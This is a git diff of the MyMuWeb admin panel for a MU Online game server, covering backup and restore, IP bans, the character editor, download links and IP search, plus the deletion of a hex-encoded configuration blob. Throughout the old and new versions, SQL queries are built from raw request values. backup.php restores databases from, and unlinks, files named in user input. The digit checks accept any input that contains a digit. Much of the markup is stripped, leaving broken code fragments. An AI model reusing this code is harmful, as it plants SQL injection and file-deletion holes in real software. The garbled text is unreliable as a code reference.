\ No newline at end of file diff --git a/admin/assets/admin.css b/admin/assets/admin.css new file mode 100644 index 0000000..d392428 --- /dev/null +++ b/admin/assets/admin.css @@ -0,0 +1,150 @@ +/* Global */ +body { + background: #DDD; + font-size: 12px; + line-height: 15px; + color: #000; + font-family: Arial, Helvetica, sans-serif; +} + +table, td { + font-size: 12px; + line-height: 15px; + color: #000; + font-family: Arial, Helvetica, sans-serif; +} + +a:link { + font-size: 13px; + color: #000; + text-decoration: none; +} + +a:visited { + font-size: 13px; + color: #000; + text-decoration: none; +} + +a:active { + font-size: 13px; + color: #000; + text-decoration: none; +} + +a:hover { + font-size: 13px; + color: #F00; + text-decoration: none; +} + +.online { + font-size: 12px; + color: #0f0; +} + +.offline { + font-size: 12px; + color: #f00; +} + +input, select { + color: #000; + padding: 0; + vertical-align: center; + font-size: 9px; + font-weight: bold; + font-family: Tahoma, Verdana, Arial, serif; +} + +textarea { + color: #000; + padding: 2px; + vertical-align: center; + font-size: 12px; + font-family: Tahoma, Verdana, Arial, serif; +} + +select.selections { + font-family: Tahoma, Verdana, Arial, serif; + font-size: 12px; + line-height: 14px; + color: #f2e5cd; + text-decoration: none; + background-color: #494949; +} + +form, img { + display: inline; + padding: 0; + margin: 0; + border: 0; +} + +fieldset { + border: 1px solid #121212; + background: #DDD; +} + +legend { + color: #f00; + background: #fff; + font: 11px Tahoma, Verdana, Arial, serif; + text-align: left; +} + +.sort-table td { + border: 1px solid ThreeDShadow; + background: Window; + color: WindowText; + padding: 2px 5px; + font-size: 12px; +} + +.sort-table thead td, .sort-table thead th { + border: 1px solid; + background: #FA5; + padding: 2px 5px; + border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; +} + +.login-header { + height: 50px; +} + +.login-stats { + height: 50px; + border: 0; + padding: 0; +} + +.content { + width: 600px; + margin: 0 auto; + padding: 4px; +} + +.sized { + margin: 0 auto; + max-width: 600px; + width: 600px; + overflow: auto; + overflow-y: hidden; +} + +.news-table { + border: 1px solid #898989; + margin: 2px auto; + width: 90%; +} + +.news-body { + border-top: 1px solid #BBB; +} + +.copyright { + text-align: center; + margin-top: 15px; + font-size: 10px; + color: #101010; +} \ No newline at end of file diff --git a/admin/backup.mmw b/admin/backup.mmw deleted file mode 100644 index 52dc4bb..0000000 --- a/admin/backup.mmw +++ /dev/null @@ -1,11 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00905 -======================================= - -[cfg] -// BackUp Web Sistem v1.0 by Vaflan -// Only for MyMuWeb MSSQL 2000 Year -$backup = "%database%_%year%-%month%-%day%.bak"; -$dir = str_replace('admin.php','',$_SERVER['SCRIPT_FILENAME'])."includes/backup/"; -[/cfg] - -[mmw]E356C6261647F2C302E32747F2C302E34647F2C302E347563746C6569666F2C302E3275647E65636F2C3E3D627F666F2C3E322563716241647164402E3F3B3D55637162616471646B577D6D64202F6863656F3C302D202075502B6361624027756E402471656273422D35657C6166702224796D626573522D356D616E602224796D626573722D35607974702475707E696C3E3227756E622D35657C616670222E6564646968622D35607974702220757B636162622D356D616E602475707E696C3E3224737F60722D346F6864756D6022222D3E6F69647361602D627F666C3E3275647E65636C302E356C6261647F2C302E3F302D702B392864642822796465637F6C63602D702D702F3C302E32747F2C302E34647F2C302E3D627F666F2C3E322564756C6564422D35657C6166702224796D626573522D356D616E602224796D626573722D35607974702475707E696C3E322E3F3B356C696664202F6863656F3C322D35657C616670222E6564646968622D3560797470222564756C6564622D356D616E602475707E696C3E3224737F60722D346F6864756D6022222D3E6F69647361602D627F666C302E3D627F666F2C3E3225627F64737562522D35657C6166702224796D626573522D356D616E602224796D626573722D35607974702475707E696C3E322E3F3B356C696664202F6863656F3C322D35657C616670222E6564646968622D35607974702225627F64737562722D356D616E602475707E696C3E3224737F60722D346F6864756D6022222D3E6F69647361602D627F666C302E322478676962722D3E67696C616024647C302E34647F2C3D55647972602E3F3B3922256C696664227964642228256A7963756C6966602F6863656F3C3B502E3F3B356C696664202F6863656F3C3E32252035322D38647469677024647C302E32747C302E3F302B7029272B616267202D3D3024716D627F6664282669602B39233D202C256C69666428227473726573702D3024716D627F6664202B702925637C6166602D3D312029292864642822796464616562702D30256C696664282820256C696867702B70292922796464282279646E65607F602D30286464282669602F3C302E322275647E6563622D3E67696C61602220322D376E69646461607C6C6563602224322D376E69636160737C6C6563602220322D327564627F62602225203031322D386474696770256C6261647C302E346E6567656C6F2C3563716241647164402D202075502B6361624E346E6567656C6C302E347563746C6569666C302E322275647E6563622D3E67696C616024647C302E32747C302E3224322D376E69636160737C6C6563602220322D376E69646461607C6C656360222275647E6563622D3E67696C61602220322D327564627F626022203036322D386474696770256C6261647C302E3F302D702B392471646F576F6C642C2220757B6361626F516228276F6C6564796277702B322563716241647164402D5564756C65646B54535F405F5422796464202E347E6F666F2C346564756C65644E303030303646432D327F6C6F6360247E6F666C302E656562402371684020755B63616242202D302471646F576F6C64202B3221246564756C656440297C6C657643737563636573502563716241647164402D5564756C65646B54535F405F542020755B636162402E656562776F576E696E6271677422202F686365602B392D5564756C65646B54535F405F542E22796464282B6E696C6E65702B7029292D5564756C65646B54535F405F54282475637379682669602D702D702B3221227F627275402E65656240237168402563716241647164402D55627F647375627B54535F405F542020755B6361624025627F64737562502465627F576E696E6271677422202F686365602B7025637C65602D702B392471646F576F6C642C2220757B6361626F516228276F6C6564796277702B322563716241647164402D55627F647375627B54535F405F5422796464202E347E6F666F2C3465627F647375625E303030303646432D327F6C6F6360247E6F666C302E656562402371684020755B63616242202D302471646F576F6C64202B32212465627F6473756250297C6C657643737563636573502563716241647164402D55627F647375627B54535F405F542020755B636162402E656562776F576E696E6271677422202F686365602B7029292972756571742829727565717F5C6173737D60482669602B322B3D55637162616471646B577D6D6420256375502B372D55627F647375627B54535F405F5422796464272D3B435944402D4F425640256E696C6E6F457D4025435142414451444025425F44535542502B32756473716D6025637552202D30297275657174202B7029292D55627F647375627B54535F405F54282475637379682669602D702D702B3221227F627275402E6565624023716840256371624164716440256C6966642020755B6361624027756E402465627F576E696E6271677422202F686365602B7025637C65602D702B392471646F576F6C642C2220757B6361626F516228276F6C6564796277702B32256371624164716440256C69666422796464202E347E6F666F2C37756E40246564716562734E303030303646432D327F6C6F6360247E6F666C302E656562402371684020755B63616242202D302471646F576F6C64202B32212465647165627340297C6C65764373756363657350256371624164716440256C6966642020755B6361624027756E402E656562776F576E696E6271677422202F686365602B7029292972756571742829727565717F5C6173737D60482669602B3224514D425F464F4E402C20313D3354514453502C20594B435F4E402C2720755B636162402D55637162616471646B577D6D64272E4D354D414E402C24414F4C4E455F4E402C24594E4940284459475027256C69666422796464272D3B435944402F44502D5D55637162616471646B577D6D642B5025435142414451444020555B43414242202D30297275657174202B39256C6966642C2922246228256471646C27252971646527282563616C6075627F527473702D30256C696664202B39256C6966642C29222D6228256471646C272528647E6F6D6527282563616C6075627F527473702D30256C696664202B39256C6966642C2922295228256471646C2725227165697527282563616C6075627F527473702D30256C696664202B3920757B636162642C2D55637162616471646B577D6D642C272525637162616471646527282563616C6075627F527473702D30256C696664202B70292727756E67202D3D302D50757B6361626B54535F405F54282669602D7B392824796875602B39222E6F402E627574502379602C656E6160502E696D646140297479627573656352282569646B702921302C302D572C6566756C6F5E696D64616F51672B5E4F49435355435F54282669602058405F3C3[/mmw] diff --git a/admin/backup.php b/admin/backup.php new file mode 100644 index 0000000..4d5ecd4 --- /dev/null +++ b/admin/backup.php @@ -0,0 +1,69 @@ +Created New ' . $dir . $file . ' DataBase'); + } else { + echo $mmw['warning']['red'] . 'New BackUp ' . $file . ' DataBase has been error!'; + } +} +if (isset($_POST['restore'])) { + $query = "USE master; RESTORE DATABASE MuOnline FROM DISK='{$dir}{$_POST['restore']}'; USE {$mmw['sql']['database']};"; + if (@mssql_query($query)) { + echo $mmw['warning']['green'] . 'BackUp ' . $_POST['restore'] . ' DataBase successFully restored!'; + writelog('a_backup', 'BackUp Has Been Restored ' . $dir . $_POST['restore'] . ' DataBase'); + } else { + echo $mmw['warning']['red'] . 'Restore BackUp ' . $_POST['restore'] . ' DataBase has been error!'; + } +} +if (isset($_POST['delete'])) { + unlink($dir . $_POST['delete']); + echo $mmw['warning']['green'] . 'BackUp ' . $_POST['delete'] . ' DataBase successFully deleted!'; + writelog('a_backup', 'BackUp Has Been Deleted ' . $dir . $_POST['delete'] . ' DataBase'); +} +?> +
+ Back Up - DataBase + +
+ +
+ + +
+
+ + +
+
+ [ byte] +
+ + +
+ + +
+
\ No newline at end of file diff --git a/admin/banip.php b/admin/banip.php index 933e60b..6a19400 100644 --- a/admin/banip.php +++ b/admin/banip.php @@ -1,46 +1,39 @@ -/!\ Access Denied!'); +} -// Ban Sistem by Vaflan -$banip_file = 'includes/banip.dat'; +// Ban System by Vaflan +$banIpFile = __DIR__ . '/../includes/banip.dat'; -if(isset($_POST['base'])) { - $fd = fopen($banip_file, "w"); - fwrite($fd, stripslashes($_POST['base'])); - fclose($fd); - echo "$warning_green Ban IP list SuccessFully Edited!"; - writelog("a_banip","Ban IP Has Been Edited Author: $_SESSION[a_admin_login]"); +if (isset($_POST['base'])) { + file_put_contents($banIpFile, stripslashes($_POST['base'])); + echo $mmw['warning']['green'] . 'Ban IP list SuccessFully Edited!'; + writelog('a_banip', 'Ban IP Has Been Edited Author: ' . $_SESSION['admin']['account']); } - -$banip_open = @fopen($banip_file,'r'); -$banip_read = @fread($banip_open,@filesize($banip_file)); -@fclose($banip_open); +$banIpData = @file_get_contents($banIpFile); ?> - - - - - -
-
- Banned IP - -
-
\ No newline at end of file +
+ Banned IP + +
diff --git a/admin/char.php b/admin/char.php index 259bc3d..3746511 100644 --- a/admin/char.php +++ b/admin/char.php @@ -1,235 +1,319 @@ -/!\ Access Denied!'); +} // Character Editor -if(isset($_POST["edit_character_done"])) { - $post_character = $_POST['character']; - $post_level = $_POST['level']; - $post_reset = $_POST['reset']; - $post_zen = $_POST['zen']; - $post_gm = $_POST['gm']; - $post_strength = $_POST['strength']; - $post_agility = $_POST['agility']; - $post_vitality = $_POST['vitality']; - $post_energy = $_POST['energy']; - $post_command = $_POST['command']; - $post_leveluppoint = $_POST['leveluppoint']; - $post_pklevel = $_POST['pklevel']; - $post_pktime = $_POST['pktime']; - $post_mapnumber = $_POST['mapnumber']; - $post_mapposx = $_POST['mapposx']; - $post_mapposy = $_POST['mapposy']; - $post_class = $_POST['class']; - $get_account = mssql_query("SELECT accountid,Name from character where Name='$post_character'"); - $get_account_done = mssql_fetch_row($get_account); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$get_account_done[0]'"); - $oc_row = mssql_fetch_row($online_check); - $get_chr = mssql_query("SELECT GameIDC FROM AccountCharacter WHERE Id='$get_account_done[0]'"); - $get_acc_chr = mssql_fetch_row($get_chr); - - if(empty($post_character) || empty($post_level) || empty($post_strength) || empty($post_agility) || empty($post_vitality) || empty($post_energy)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif(mssql_num_rows($get_account) <= 0) {echo "$warning_red Error: Character $post_character Doesn't Exist!
Go Back.";} - elseif($oc_row[0]!=0 && $get_acc_chr[0]==$get_account_done[1]) {echo "$warning_red Error: Character $post_character Must Be Logged Off!
Go Back.";} - elseif(ereg('[^0-9]', $post_level)) {echo "$warning_red Error: Please Use Only Numbers At Level!
Go Back.";} - elseif(ereg('[^0-9]', $post_reset)) {echo "$warning_red Error: Please Use Only Numbers At Reset!
Go Back.";} - elseif(ereg('[^0-9]', $post_zen)) {echo "$warning_red Error: Please Use Only Numbers At Zen!
Go Back.";} - elseif(ereg('[^0-9]', $post_leveluppoint)) {echo "$warning_red Error: Please Use Only Numbers At Level Up Point!
Go Back.";} - elseif(ereg('[^0-9]', $post_pklevel)) {echo "$warning_red Error: Please Use Only Numbers At PK Level!
Go Back.";} - elseif(ereg('[^0-9]', $post_pktime)) {echo "$warning_red Error: Please Use Only Numbers At PK Time!
Go Back.";} - elseif(ereg('[^0-9]', $post_mapnumber)) {echo "$warning_red Error: Please Use Only Numbers At Map Number!
Go Back.";} - elseif(ereg('[^0-9]', $post_mapposx)) {echo "$warning_red Error: Please Use Only Numbers At Map x!
Go Back.";} - elseif(ereg('[^0-9]', $post_mapposy)) {echo "$warning_red Error: Please Use Only Numbers At Map y!
Go Back.";} - else { - mssql_query("UPDATE character SET [clevel]='$post_level',[reset]='$post_reset',[money]='$post_zen',[ctlcode]='$post_gm',[strength]='$post_strength',[dexterity]='$post_agility',[vitality]='$post_vitality',[energy]='$post_energy',[leadership]='$post_command',[LevelUpPoint]='$post_leveluppoint',[PkLevel]='$post_pklevel',[PkTime]='$post_pktime',[mapnumber]='$post_mapnumber',[mapposx]='$post_mapposx',[mapposy]='$post_mapposy',[class]='$post_class' WHERE name='$post_character'"); - echo "$warning_green Character $post_character SuccessFully Edited!"; - writelog("a_edit_char","Character $_POST[character] Has Been Edited with the next->Level:$_POST[level]|Reset:$_POST[reset]|Zen:$_POST[zen]|Strengh:$_POST[strength]|Agiltiy:$_POST[agility]|Vitality:$_POST[vitality]|Energy:$_POST[energy]|Command:$_POST[command]|LevelUpPoint:$_POST[leveluppoint]|ResTime:$_POST[restime]|PkLevel:$_POST[pklevel]|PkTime:$_POST[pktime]|MapNumber:$_POST[mapnumber]|MapX:$_POST[mapposx]|Mapy:$_POST[mapposy]"); - } +if (isset($_POST['edit_character_done'])) { + $post_character = stripslashes($_POST['edit_character_done']); + $post_level = $_POST['level']; + $post_reset = $_POST['reset']; + $post_zen = $_POST['zen']; + $post_gm = $_POST['gm']; + $post_strength = $_POST['strength']; + $post_agility = $_POST['agility']; + $post_vitality = $_POST['vitality']; + $post_energy = $_POST['energy']; + $post_command = $_POST['command']; + $post_leveluppoint = $_POST['leveluppoint']; + $post_pklevel = $_POST['pklevel']; + $post_pktime = $_POST['pktime']; + $post_mapnumber = $_POST['mapnumber']; + $post_mapposx = $_POST['mapposx']; + $post_mapposy = $_POST['mapposy']; + $post_class = $_POST['class']; + + $get_account = mssql_query("SELECT accountid,Name FROM dbo.Character WHERE Name='{$post_character}'"); + $get_account_done = mssql_fetch_row($get_account); + + $online_check = mssql_query("SELECT + ConnectStat, + GameIDC + FROM dbo.MEMB_STAT + LEFT JOIN dbo.AccountCharacter ON Id COLLATE DATABASE_DEFAULT = memb___id COLLATE DATABASE_DEFAULT + WHERE memb___id='{$get_account_done[0]}'"); + $oc_row = mssql_fetch_row($online_check); + + if (empty($post_character) || empty($post_level) || empty($post_strength) || empty($post_agility) || empty($post_vitality) || empty($post_energy)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif ($oc_row[0] != 0 && $oc_row[2] == $get_account_done[1]) { + echo $mmw['warning']['red'] . 'Error: Character Must Be Logged Off!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_level)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Level!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_reset)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Reset!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_zen)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Zen!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_leveluppoint)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Level Up Point!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_pklevel)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At PK Level!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_pktime)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At PK Time!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_mapnumber)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Map Number!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_mapposx)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Map x!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_mapposy)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Map y!
Go Back.'; + } else { + mssql_query("UPDATE dbo.Character SET [clevel]='$post_level',[{$mmw['reset_column']}]='$post_reset',[money]='$post_zen',[CtlCode]='$post_gm',[strength]='$post_strength',[dexterity]='$post_agility',[vitality]='$post_vitality',[energy]='$post_energy',[leadership]='$post_command',[LevelUpPoint]='$post_leveluppoint',[PkLevel]='$post_pklevel',[PkTime]='$post_pktime',[mapnumber]='$post_mapnumber',[mapposx]='$post_mapposx',[mapposy]='$post_mapposy',[class]='$post_class' WHERE Name='{$post_character}'"); + echo $mmw['warning']['green'] . 'Character ' . $post_character . ' SuccessFully Edited!'; + writelog('a_edit_char', "Character {$_POST['character']} Has Been Edited with the next->Level:$_POST[level]|Reset:$_POST[reset]|Zen:$_POST[zen]|Strengh:$_POST[strength]|Agiltiy:$_POST[agility]|Vitality:$_POST[vitality]|Energy:$_POST[energy]|Command:$_POST[command]|LevelUpPoint:$_POST[leveluppoint]|ResTime:$_POST[restime]|PkLevel:$_POST[pklevel]|PkTime:$_POST[pktime]|MapNumber:$_POST[mapnumber]|MapX:$_POST[mapposx]|Mapy:$_POST[mapposy]"); + } } -?> - - - - - - - - - - - - - - - - - - - - -
-
- - 0) {$mode[$get_character_done[9]] = "selected";} else {$mode[0] = "selected";} - if($get_character_done[16] > 0) {$class[$get_character_done[16]] = "selected";} else {$class[0] = "selected";} - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$get_character_done[0]'"); - $oc_row = mssql_fetch_row($online_check); - $get_chr = mssql_query("SELECT GameIDC FROM AccountCharacter WHERE Id='$get_character_done[0]'"); - $get_acc_chr = mssql_fetch_row($get_chr); - - if($oc_row[0]=='1') {$acc_status = "Online";}else{$acc_status = "Offline";} - if($get_acc_chr[0]==$character_edit && $oc_row[0]=='1') {$character_status = "Online";}else{$character_status = "Offline";} -?> - Character -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Account
Character
Level
Reset
Level Up Point
Zen
Class - -
Mode
Strength
Agility
Vitality
Energy
Command
Pk Level, Time
Map, x, y
-
-
-
-
- - Search Character -
- - - - - - - - - - - - -
Character
Search type - -
- -
-
-
-
-
- Search Character Results - - - - - - - - - - - - -';} - if($status[0] == 1){$status[0] ='';} - - if($row[9] == 1) {$row[9] = "
#NameAccountLevelResetsClassStatusEdit
Blocked
";} - elseif($row[9] == 32 || $row[9] == 8) {$row[9] = "
GM
";} - elseif($row[9] == 0) {$row[9] = "Normal";} - - $character_table_edit = "
"; -?> -
.
- - - - - - \ No newline at end of file + +if (isset($_GET['chr'])) { + $character_edit = stripslashes($_GET['chr']); + $get_character = mssql_query("SELECT accountid,clevel,{$mmw['reset_column']},money,strength,dexterity,vitality,energy,leadership,CtlCode,LevelUpPoint,PkLevel,PkTime,mapnumber,mapposx,mapposy,Class FROM dbo.Character WHERE Name='{$character_edit}'"); + $get_character_done = mssql_fetch_row($get_character); + + $mode[$get_character_done[9]] = 'selected'; + $class[$get_character_done[16]] = 'selected'; + + $online_check = mssql_query("SELECT + ConnectStat, + GameIDC + FROM dbo.MEMB_STAT + LEFT JOIN dbo.AccountCharacter ON Id COLLATE DATABASE_DEFAULT = memb___id COLLATE DATABASE_DEFAULT + WHERE memb___id='{$get_character_done[0]}'"); + $oc_row = mssql_fetch_row($online_check); + + $acc_status = ($oc_row[0] == '1') + ? 'Online' + : 'Offline'; + $character_status = ($oc_row[0] == '1' && $oc_row[1] == $character_edit) + ? 'Online' + : 'Offline'; + ?> +
+ Character +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Account + + +
Character
Level + +
+ +
Level Up Point + +
Zen + +
Class + +
Mode
Strength + +
Agility + +
Vitality + +
Energy + +
Command + +
Pk Level, Time + + +
Map, x, y + + +
+ + +
+
+
+ + +
+ Search Character +
+ + + + + + + + + + + + +
Character
Search type + +
+ +
+ +
+
+
+ + +
+ Search Character Result + + + + + + + + + + + + + + + '; + } + if ($status[0] == 1) { + $status = 'online'; + } + if ($status[0] === null) { + $status = 'death'; + } + + if ($row[9] == 1) { + $row[9] = 'Blocked'; + } elseif ($row[9] == 32 || $row[9] == 8) { + $row[9] = 'GM'; + } elseif ($row[9] == 0) { + $row[9] = 'Normal'; + } + ?> + + + + + + + + + + + +
#NameAccountModeReset / LevelClassStatusEdit
. +
+ + + +
+
+ + + +
+
+ +
+ \ No newline at end of file diff --git a/admin/downloads.php b/admin/downloads.php index 9965d2f..6aa6bfc 100644 --- a/admin/downloads.php +++ b/admin/downloads.php @@ -1,146 +1,165 @@ -/!\ Access Denied!'); +} // Download List -if(isset($_POST["new_link"])) { - $link_name = $_POST['link_name']; - $link_address = $_POST['link_address']; - $link_description = $_POST['link_description']; - $link_size = $_POST['link_size']; - if(empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("INSERT INTO MMW_links(l_name,l_address,l_description,l_size,l_date,l_id) VALUES ('$link_name','$link_address','$link_description','$link_size','".time()."','$mmw[rand_id]')"); - echo "$warning_green Link SuccessFully Added!"; - writelog("a_link","Link $_POST[link_name] Has Been Added"); - } +if (isset($_POST['new_link'])) { + $link_name = $_POST['link_name']; + $link_address = $_POST['link_address']; + $link_description = $_POST['link_description']; + $link_size = $_POST['link_size']; + $link_time = time(); + if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_links(l_name,l_address,l_description,l_size,l_date,l_id) VALUES ('{$link_name}','{$link_address}','{$link_description}','{$link_size}','{$link_time}','{$mmw['rand_id']}')"); + echo $mmw['warning']['green'] . 'Link SuccessFully Added!'; + writelog('a_link', 'Link ' . $_POST['link_name'] . ' Has Been Added'); + } } -if(isset($_POST["edit_link_done"])) { - $link_name = $_POST['link_name']; - $link_address = $_POST['link_address']; - $link_description = $_POST['link_description']; - $link_size = $_POST['link_size']; - $link_id = $_POST['link_id']; - if(empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size) || empty($link_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("Update MMW_links set [l_name]='$link_name',[l_address]='$link_address',[l_description]='$link_description',[l_size]='$link_size',[l_date]='".time()."' where l_id='$link_id'"); - echo "$warning_green Link SuccessFully Edited!"; - writelog("a_link","Link $_POST[link_name] Has Been Edited"); - } +if (isset($_POST['edit_link_done'])) { + $link_name = $_POST['link_name']; + $link_address = $_POST['link_address']; + $link_description = $_POST['link_description']; + $link_size = $_POST['link_size']; + $link_id = $_POST['link_id']; + $link_time = time(); + if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size) || empty($link_id)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.MMW_links SET [l_name]='{$link_name}',[l_address]='{$link_address}',[l_description]='{$link_description}',[l_size]='{$link_size}',[l_date]='{$link_time}' WHERE l_id='{$link_id}'"); + echo $mmw['warning']['green'] . 'Link SuccessFully Edited!'; + writelog('a_link', 'Link ' . $_POST['link_name'] . ' Has Been Edited'); + } } -if(isset($_POST["delete_link"])) { - $link_id = $_POST["delete_link"]; - if(empty($link_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("DELETE FROM MMW_links WHERE l_id='$link_id'"); - echo "$warning_green Link SuccessFully Deleted!"; - writelog("a_link","Link $link_name Has Been Deleted"); - } +if (isset($_POST['delete_link'])) { + if (empty($_POST['delete_link'])) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_links WHERE l_id='{$_POST['delete_link']}'"); + echo $mmw['warning']['green'] . 'Link SuccessFully Deleted!'; + writelog('a_link', 'Link ' . $link_name . ' Has Been Deleted'); + } } ?> - - - + + + + + + + + + + + + + + + + + + +
-
+
- + Edit Link - - - New Link -
Link Name + +
Link Address + + + +
Link Size + +
Description + +
+ + +
+ + + New Link +
- - - - - - - - - - - - - - - - - - - -
Link Name
Link Address
Link Size
Description
-
- - - - - - -
- Links List - - - - - - - - - - - -"; + + + + + + + + + + + + + + + + + + + +
#NameAddressDescriptionDateEditDelete
Link Name
Link Address +
Link Size
Description +
+ + +
+ + +
+
+ Links List - $table_delete = "
"; - - $row[0] = substr($row[0],0,8); - $row[1] = substr($row[1],0,14); - $row[2] = substr($row[2],0,14); -?> - - . - ... - ... - ... - - - - - - + + + + + + + + + + + + + + + + + + + + + + + +
#NameAddressDescriptionDateEditDelete
.......... +
+ + +
+
+
+ + +
+
-
- - - \ No newline at end of file + diff --git a/admin/engine.php b/admin/engine.php deleted file mode 100644 index 01dd6ef..0000000 --- a/admin/engine.php +++ /dev/null @@ -1,79 +0,0 @@ -".date('d.m.Y H:i:s')." By $_SERVER[REMOTE_ADDR] \n"; - $fp = fopen("logs/$logfile.php","a"); - fputs($fp, $text); - fclose($fp); -} - - -function clearlog($logfile) { - //$fp = fopen("logs/$logfile.php","w"); - //fwrite ($fp, ""); - unlink("logs/$logfile.php"); -} - - -// Start Login Sistem -if(isset($_POST["admin_login"])) { - $account = clean_var(stripslashes($_POST['account'])); - $password = clean_var(stripslashes($_POST['password'])); - $securitycode = clean_var(stripslashes($_POST['securitycode'])); - - if($account==NULL || $password==NULL || $securitycode==NULL) {die("$warning_red
Fatal ErroR! by Vaflan
");} - - if($mmw[md5] == yes){$pass = "[dbo].[fn_md5]('$password','$account')";} else{$pass = "'$password'";} - $result = @mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=$pass"); - $row = @mssql_fetch_row($result); - - if($row[0]!=$account || $mmw[admin_securitycode]!=$securitycode) { - echo ''; - } - if($row[0]==$account && $mmw[status_rules][$row[1]][admin_panel]!=1) { - echo ''; - } - if($row[0]==$account && $mmw[admin_securitycode]==$securitycode && !empty($password) && $mmw[status_rules][$row[1]][admin_panel]==1) { - $_SESSION['a_admin_login'] = $account; - $_SESSION['a_admin_password'] = $password; - $_SESSION['a_admin_security'] = $securitycode; - $_SESSION['a_admin_level'] = $row[1]; - echo ''; - } -} - - -if(substr($_SERVER['SCRIPT_FILENAME'],-9)!='admin.php') { - die("$sql_die_start Incorrect filename admin panel!
You should: admin.php $sql_die_end"); -} -else { - $mmw[status_rules][666][admin_panel] = 1; -} - - -// Logout -if(isset($_POST["admin_logout"])) { - session_destroy(); - echo ''; -} - - -// Check Login -if(isset($_SESSION['a_admin_security']) || isset($_SESSION['a_admin_pass']) || isset($_SESSION['a_admin_login']) || isset($_SESSION['a_admin_level'])){ - $login = clean_var(stripslashes($_SESSION['a_admin_login'])); - $password = clean_var(stripslashes($_SESSION['a_admin_password'])); - $security = clean_var(stripslashes($_SESSION['a_admin_security'])); - $level = clean_var(stripslashes($_SESSION['a_admin_level'])); - - if($mmw[md5] == yes){$password = "[dbo].[fn_md5]('$password','$login')";} else{$password = "'$password'";} - $check_result = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=$password"); - $check_row = mssql_fetch_row($check_result); - - if($mmw[admin_securitycode]!=$security || $login!=$check_row[0] || $level!=$check_row[1] || $mmw[status_rules][$level][admin_panel]!=1) { - session_destroy(); - echo ''; - } -} -?> \ No newline at end of file diff --git a/admin/findip.php b/admin/findip.php index c0beda4..718c4c1 100644 --- a/admin/findip.php +++ b/admin/findip.php @@ -1,156 +1,179 @@ - - - - - - - - - - - - - - - - -
-
- Find Ip - - - - - - -
-
- - - - - - - - - - - - -
IP Address
Search type - -
- -
-
-
-
- - - - - - - - - - - - -
Account
Search type - -
- -
-
-
-
- - - - - - - - - - - - -
Character
Search type - -
- -
-
-
-
-
-
- Search Character IP Results +/!\ Access Denied!'); +} ?> +
+ Find Ip + + + + + + +
+
+ + + + + + + + + + + + + +
IP Address
Search type + +
+ +
+ +
+
+
+
+ + + + + + + + + + + + + +
Account
Search type + +
+ +
+ +
+
+
+
+ + + + + + + + + + + + + +
Character
Search type + +
+ +
+ +
+
+
+
- - - - - - - - - - +
+ Search Character IP Results -if($search_type == 1) { - if(isset($search_ip)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where ip like '%$search_ip%'");} - elseif(isset($search_acc)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where memb___id like '%$search_acc%'");} - elseif(isset($search_char)) {$result = mssql_query("SELECT accountid,name from Character where name like '%$search_char%'");} -} -else { - if(isset($search_ip)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where ip='$search_ip'");} - elseif(isset($search_acc)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where memb___id='$search_acc'");} - elseif(isset($search_char)) {$result = mssql_query("SELECT accountid,name from Character where name='$search_char'");} -} +
#CharacterAccountIPDate ConnectStatus
+ + + + + + + + + + +
#CharacterAccountIPDate ConnectStatus
Error #120
";} - if($get_ip_done[2] == 0){$get_ip_done[2] ='';} - if($get_ip_done[2] == 1){$get_ip_done[2] ='';} -?> -
.
